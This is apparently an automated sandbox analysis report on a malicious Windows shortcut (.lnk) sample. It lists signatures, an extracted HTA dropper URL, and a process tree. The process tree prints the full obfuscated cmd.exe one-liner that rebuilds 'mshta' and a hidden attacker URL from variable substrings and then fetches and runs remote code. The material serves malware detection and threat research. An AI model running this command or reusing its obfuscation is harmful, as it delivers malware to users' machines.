Analysis

  • max time kernel
    148s
  • max time network
    115s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    03/08/2026, 13:12

General

  • Target
    DOC-ZASLHG.lnk
  • Size 2KB
  • Sample260803-qfkafaaa54
  • SHA256 3e694cf0640df6e7460ea80a5991dc012814ff834ef0c438a24336361f27f99b
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://bo-pdffiller.lat/h/estagio1.php?r=360761F15794

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-ZASLHG.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:4456
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /D /v:on /C "set OLYn=datenejyiwwhdat&set Zdbrc=cachevhxtppwakrqzgmpbkbcache&set eqfmm=awszy&&set kSK=2tarihl&&set GSCR=c58tgt4&set GrnxC=bakxivhdabkesnxsbak&set iO=logrbkmunltttutychylog&set dXiu=oldhmpmgmold&set pyB=8ma&&set cAaSf=pshtajxr&set GfV=datijejeawkdat&set Tf=netuhgisluhznet&&set rVQJ=h@ttps@://bo@-@p@dffi@ll@er.@l@at/@h@/e@s@[email protected]@h@p?r=360761@F157@94&&start /b !pyB:~1,1!!cAaSf:~1,4! !rVQJ:@=!"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4540
      • C:\Windows\System32\mshta.exe
        mshta https://bo-pdffiller.lat/h/estagio1.php?r=360761F15794
        3⤵
          PID:2768

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads